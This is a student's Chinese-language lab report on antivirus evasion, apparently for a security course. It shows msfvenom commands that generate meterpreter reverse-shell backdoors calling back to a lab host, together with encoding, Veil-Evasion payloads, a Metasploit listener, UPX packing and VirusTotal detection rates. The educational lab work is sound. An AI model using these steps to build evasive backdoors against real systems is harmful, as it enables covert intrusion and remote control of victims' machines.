Exp3 免杀原理与实践 20154301仉鑫烨

20154301 Exp3 免杀原理与实践

仉鑫烨


一、 实践内容

  1. 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧;
  2. 通过组合应用各种技术实现恶意代码免杀;
  3. 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本。

二、 基础问题

  1. 杀软是如何检测出恶意代码的?

答:①基于特征码检测;如果一个可执行文件包含一段特征码则被认为是恶意代码,过时的特征码库就是没有用的,因此杀毒软件的更新很重要。②启发式恶意软件检测;如果一个软件干的事通常是恶意软件才会干的,就可从中得到启发,把它看做是恶意软件。
③基于行为的恶意软件检测;相当于是启发式的一种,或者是加入了行为监控的启发式。

  1. 免杀是做什么?

答:免杀就是通过处理恶意软件好让其不被杀毒软件检测出来。

  1. 免杀的基本方法有哪些?

答:①改变特征码;若只有EXE可以通过加壳,包括压缩壳和加密壳来改变特征码。若有shellcode可以用encodde进行编码或者基于payload重新编译生成可执行文件(这次实践尝试过这种方法)。若有源代码,可用其他语言进行重新再编译(veil-evasion)。
②改变行为;通讯方式尽量使用反弹式连接、隧道技术或者加密通讯数据。操作模式最好基于内存操作,减少对系统的修改,加入混淆作用的正常功能代码。③非常规方法;使用社工类攻击,诱骗目标关闭软件。


三、实验过程

1. msf编码器

本机IP:192.168.108.131
Linux的IP:192.168.108.128

  • 将上此实验产生的后门 zxy_backdoor.exe 文件直接拷贝到开启360的win主机下,被360直接查杀。

  • 添加信任以后放在 www.virustotal.com 上扫描。得出有52/66的杀毒软件报出病毒。

  • 尝试对木马进行编码,第一次编码文件命名为++zxy_backdoor_v1_1.exe++。检测结果为49/66。报毒率略有下降。

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 1 -b ’x00’ LHOST=192.168.108.128 LPORT=4301 -f exe > zxy_backdoor_v1_1.exe

  • 编码十次结果为++zxy_backdoor_v1_10.exe++

  • www.virustotal.com检测结果与第一次编码结果相同,49/66。

2. veil-evasion
  • 首先安装veil(时间巨长!!)

sudo apt-get install veil-evasion

  • 安装完成后,用
    use evasion
    命令进入Evil-Evasion
    并输入use python/meterpreter/rev_tcp.py

  • 选择一个模板生成payload,我选择的是C语言,“c/meterpreter/rev_tcp”。

`set LHOST 192.168.108.128

set LPORT 4301

generate`

生成exe文件

  • 报毒率为29/66,有显著下降。
3. C语言调用Shellcode
  • 在Kali下生成一个C语言格式的shellcode数组,回连的IP为Kali的IP,端口自定。

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.108.128 LPORT=4301 -f c

(应老师要求代码不写出)

  • 在linux下进入MSF打开监听进程,跟之前做的实验步骤一样,这时候在win10下运行之前的c文件,这时候linux就轻易的侵入了我的电脑

  • 在Kali上使用msfconsole指令进入msf控制台,使用监听模块,设置payload,设置反弹回连的IP和端口:use exploit/multi/handler set payload windows/meterpreter/reverse_tcp

  • 设置完成后,执行监听

  • 打开Windows上的后门程序:4301.exe

  • 此时Kali上已经获得了Windows主机的连接,并且得到了远程控制的shell,回连成功。

  • 查杀效果25/66

4. 加壳
  • 直接用upx将之前生成的c.exe文件加壳,改个文件名

  • 加壳后结果23/66.可以看到一定的效果!!


四、离实战还缺些什么技术或步骤

  • 文件伪装性不强,易被发现,应在后台自动运行且不显示。另外我们可以获得一个稳定的ip去监听靶机,避免被追踪?

五、实验体会

  • 本次实验操作较为简单,但准备工作比较复杂,安装veil时消耗时间极多。另外在编译c语言文件时,由于基础比较薄弱,消耗了一定的时间,后查阅同学资料才将将完成。本次最终完成的免杀程序较为基础,可以见到,还有23个杀毒软件能够检测出来,可见我们与专业人士的差距。另....我的360在本次实验中表现极为差劲,我准备换一个了!
原文地址:https://www.cnblogs.com/z20154301/p/8735439.html